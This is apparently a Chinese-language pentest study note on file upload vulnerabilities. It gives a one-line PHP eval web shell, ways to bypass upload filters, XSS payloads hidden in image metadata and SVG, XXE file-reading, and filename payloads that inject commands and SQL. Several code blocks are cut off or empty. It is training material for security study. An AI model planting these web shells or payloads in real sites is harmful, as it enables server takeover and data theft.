File Upload
Web Shell
Php
1 | <?php eval($_REQUEST['cmd']);?> |
Bypassing Filters
前端过滤器
1 | <input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png"> |
1 | function checkFile(File) { |
后端过滤器
黑名单过滤
SecLists web-extensions
1 | $fileName = basename($_FILES["uploadFile"]["name"]); |
白名单过滤
SecLists web-extensions
1 | $fileName = basename($_FILES["uploadFile"]["name"]); |
服务器配置错误 Apache2
服务器 /etc/apache2/mods-enabled/php7.4.conf
1 | # Web 服务器确定允许执行哪些文件 PHP 代码的方式,任何匹配扩展名的文件都将被允许执行 PHP 代码。 |
字符注入 (Character Injection)
1 | for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do |
类型过滤器
Content-Type
SecLists web-all-content-types
1 | $type = $_FILES['uploadFile']['type']; |
MIME-Type
Multipurpose Internet Mail Extensions (MIME)
通常是通过检查文件内容的前几个字节来完成的,这些字节包含 File Signature。
1 | $type = mime_content_type($_FILES['uploadFile']['tmp_name']); |
其他攻击
Stored XSS
HTML
当 Web 应用程序允许上传HTML
文件时。尽管 HTML 文件不允许执行代码(例如 PHP),但仍有可能在其中实现 JavaScript 代码,以对访问上传的 HTML 页面的任何人进行 XSS 或 CSRF 攻击。如果目标看到他们信任的网站的链接,并且该网站容易上传 HTML 文档,则可能诱骗他们访问该链接并在他们的机器上进行攻击。
Metadata
XSS 攻击的另一个示例是 Web 应用程序在图片上传后显示其 Metadata。对于此类 Web 应用程序,可以在接受原始文本的 Metadata 参数之一中包含 XSS 负载,例如Comment
或Artist
参数:
1 | exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg |
参数Comment
已更新为 XSS 负载。当显示图像的元数据时,应该会触发 XSS 负载,并且 JavaScript 代码将被执行以进行 XSS 攻击。此外,如果将图像的 MIME 类型更改为text/html
,某些 Web 应用程序可能会将其显示为 HTML 文档而不是图像,在这种情况下,即使不直接显示元数据,也会触发 XSS 负载。
SVG
Scalable Vector Graphics (SVG)
图像是基于 XML 的,它们描述 2D 矢量图形,浏览器将其渲染为图像。因此,可以修改其 XML 数据以包含 XSS 有效负载。
1 |
|
XXE
使用 SVG 图像,还可以包含恶意 XML 数据以泄露 Web 应用程序的源代码以及服务器内的其他内部文档。使用 XML 数据并非 SVG 图像所独有,因为许多类型的文档也使用它,例如 PDF
, Word Documents
, PowerPoint Documents
…
1 |
|
XXE 读取 PHP Web 应用程序中的源代码
1 |
|
DOS
Denial of Service (DOS)
…
文件名中的注入
命令执行
1 | file$(whoami).jpg |
XSS
1 | <script>alert(window.origin);</script> |
SQLi
1 | file';select+sleep(5);--.jpg |
上传目录披露
在某些文件上传表单(如反馈表单或提交表单)中,可能无法访问上传文件的链接,也可能不知道上传目录。在这种情况下,可以利用模糊测试来查找上传目录,甚至使用其他漏洞(例如 LFI/XXE)通过阅读 Web 应用程序源代码来查找上传文件的位置,就像在上一节中看到的那样。
另一种方法来泄露上传目录,即强制错误消息,因为它们通常会透露有助于进一步利用的信息。即上传一个名称已存在的文件或同时发送两个相同的请求。这可能会导致 Web 服务器显示无法写入文件的错误,从而泄露上传目录。还可以尝试上传名称过长的文件(例如 5,000 个字符)。如果 Web 应用程序无法正确处理此问题,也可能会出错并泄露上传目录。
…